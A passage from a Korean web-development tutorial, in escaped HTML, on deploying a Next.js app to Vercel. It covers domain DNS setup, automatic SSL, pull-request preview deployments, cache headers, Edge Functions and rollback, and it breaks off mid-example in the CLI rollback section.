&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;1. Vercel 대시보드 → 프로젝트 → Settings → Domains
2. 도메인 입력 (예: myapp.com)
3. &quot;Add&quot; 클릭
4. Vercel이 안내하는 DNS 레코드를 도메인 관리 사이트에 추가&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;일반적으로 아래 두 가지 레코드를 추가하면 됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;# A 레코드 (루트 도메인)
Type: A
Name: @
Value: 76.76.21.21

# CNAME 레코드 (www 서브도메인)
Type: CNAME
Name: www
Value: cname.vercel-dns.com&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;SSL 인증서 -- 자동 발급&lt;/h3&gt;
&lt;p&gt;Vercel은 도메인을 연결하면 &lt;strong&gt;Let&apos;s Encrypt SSL 인증서를 자동으로 발급&lt;/strong&gt;합니다. 별도의 설정이 필요 없습니다. 인증서 갱신도 자동으로 처리됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;도메인 연결 후 약 1~5분 내에:
→ SSL 인증서 자동 발급
→ HTTP → HTTPS 자동 리다이렉트 설정
→ www → non-www (또는 반대) 자동 리다이렉트&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;프리뷰 배포 -- PR마다 자동 미리보기 URL&lt;/h2&gt;
&lt;p&gt;프리뷰 배포는 Vercel의 가장 강력한 기능 중 하나입니다. Pull Request를 올리면 자동으로 해당 변경 사항이 적용된 별도의 URL이 생성됩니다.&lt;/p&gt;
&lt;h3&gt;작동 방식&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;1. 새 브랜치 생성: git checkout -b feature/new-ui
2. 코드 수정 후 push: git push origin feature/new-ui
3. GitHub에서 PR 생성
4. Vercel이 자동으로 프리뷰 빌드 시작
5. PR 코멘트에 프리뷰 URL 자동 게시
   → https://프로젝트-git-feature-new-ui-username.vercel.app&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;프리뷰 배포 활용법&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 기능 브랜치 생성&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; checkout &lt;span class=&quot;token parameter variable&quot;&gt;-b&lt;/span&gt; feature/dark-mode

&lt;span class=&quot;token comment&quot;&gt;# 코드 수정&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# ...&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 커밋 및 푸시&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;add&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; commit &lt;span class=&quot;token parameter variable&quot;&gt;-m&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;feat: 다크모드 추가&quot;&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; push origin feature/dark-mode

&lt;span class=&quot;token comment&quot;&gt;# GitHub에서 PR 생성 후 Vercel 프리뷰 URL로 확인&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# → 모바일에서도 접속해서 테스트 가능&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# → 팀원이나 지인에게 URL 공유해서 피드백 받기&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;1인 개발자라도 프리뷰 배포를 적극 활용하세요. 프로덕션에 바로 머지하기 전에 실제 환경에서 테스트할 수 있어서 실수를 크게 줄일 수 있습니다.&lt;/p&gt;
&lt;h3&gt;프리뷰 배포 환경변수 분리&lt;/h3&gt;
&lt;p&gt;프리뷰 배포에서는 테스트용 환경변수를 사용하는 것이 안전합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Vercel 대시보드 → Settings → Environment Variables
→ NEXT_PUBLIC_SUPABASE_URL 변수를 Preview 환경에만 따로 설정
→ 테스트용 Supabase 프로젝트 URL 입력&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이렇게 하면 프리뷰 배포에서 실수로 프로덕션 데이터를 건드리는 일을 방지할 수 있습니다.&lt;/p&gt;
&lt;h2&gt;배포 최적화&lt;/h2&gt;
&lt;h3&gt;빌드 캐시 활용&lt;/h3&gt;
&lt;p&gt;Vercel은 빌드 캐시를 자동으로 관리합니다. 하지만 &lt;code class=&quot;language-text&quot;&gt;next.config.js&lt;/code&gt;에서 추가 최적화가 가능합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// next.config.js&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;/** @type {import(&apos;next&apos;).NextConfig} */&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; nextConfig &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;// 이미지 최적화&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;images&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;formats&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;image/avif&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;image/webp&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;remotePatterns&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;protocol&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;https&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;hostname&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;*.supabase.co&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// 헤더 설정 (캐시 최적화)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/api/:path*&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token literal-property property&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Cache-Control&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token literal-property property&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;s-maxage=60, stale-while-revalidate=300&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/:path*.(jpg|jpeg|png|gif|ico|svg)&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token literal-property property&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Cache-Control&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token literal-property property&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;public, max-age=31536000, immutable&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

module&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;exports &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; nextConfig&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Edge Functions 활용&lt;/h3&gt;
&lt;p&gt;API 응답 속도를 높이고 싶다면 Edge Functions를 활용합니다. Edge Functions는 사용자와 가장 가까운 서버에서 실행되므로 지연 시간이 크게 줄어듭니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// app/api/hello/route.ts&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; runtime &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;edge&quot;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Edge Runtime 사용&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;GET&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;request&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Request&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; searchParams &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;&lt;span class=&quot;token constant&quot;&gt;URL&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; name &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; searchParams&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;World&quot;&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Response&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;stringify&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; message&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;Hello, &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;name&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    headers&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token string-property property&quot;&gt;&quot;Content-Type&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;application/json&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// app/api/og/route.tsx&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// OG 이미지 동적 생성 (Edge에서 실행)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; ImageResponse &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next/og&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; runtime &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;edge&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;GET&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;request&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Request&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; searchParams &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;&lt;span class=&quot;token constant&quot;&gt;URL&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; title &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; searchParams&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;title&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;기본 제목&quot;&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;ImageResponse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
      &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;div
        style&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          display&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;flex&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
          fontSize&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
          background&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;linear-gradient(135deg, #667eea 0%, #764ba2 100%)&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
          color&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;white&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
          width&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;100%&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
          height&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;100%&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
          alignItems&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;center&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
          justifyContent&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;center&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
          padding&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;title&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;div&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; width&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1200&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; height&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;630&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;빌드 시간 단축 팁&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// package.json&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;scripts&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;build&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next build&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;vercel-build&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next build&quot;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// next.config.js에 추가&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; nextConfig &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;// 빌드 시 불필요한 페이지 제외 (개발용 페이지 등)&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;experimental&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// 병렬 빌드 최적화&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;workerThreads&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;cpus&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;롤백 -- 문제 발생 시 이전 버전 복원&lt;/h2&gt;
&lt;p&gt;배포 후 문제가 발생했을 때 빠르게 이전 버전으로 되돌리는 것은 매우 중요합니다. Vercel은 이 과정을 매우 간단하게 만들어 줍니다.&lt;/p&gt;
&lt;h3&gt;대시보드에서 롤백&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;1. Vercel 대시보드 → 프로젝트 → Deployments 탭
2. 정상 작동하던 이전 배포를 찾기
3. 해당 배포의 &quot;...&quot; 메뉴 클릭
4. &quot;Promote to Production&quot; 선택
5. 즉시 이전 버전으로 복원 완료&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;CLI로 롤백&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 배포 목록 확인&lt;/span&gt;
vercel &lt;span class=&quot;token function&quot;&gt;ls&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 특정 배포를 프로덕션으로 승격&lt;/span&gt;
vercel promote &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;deployment-url&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 예시&lt;/span&gt;
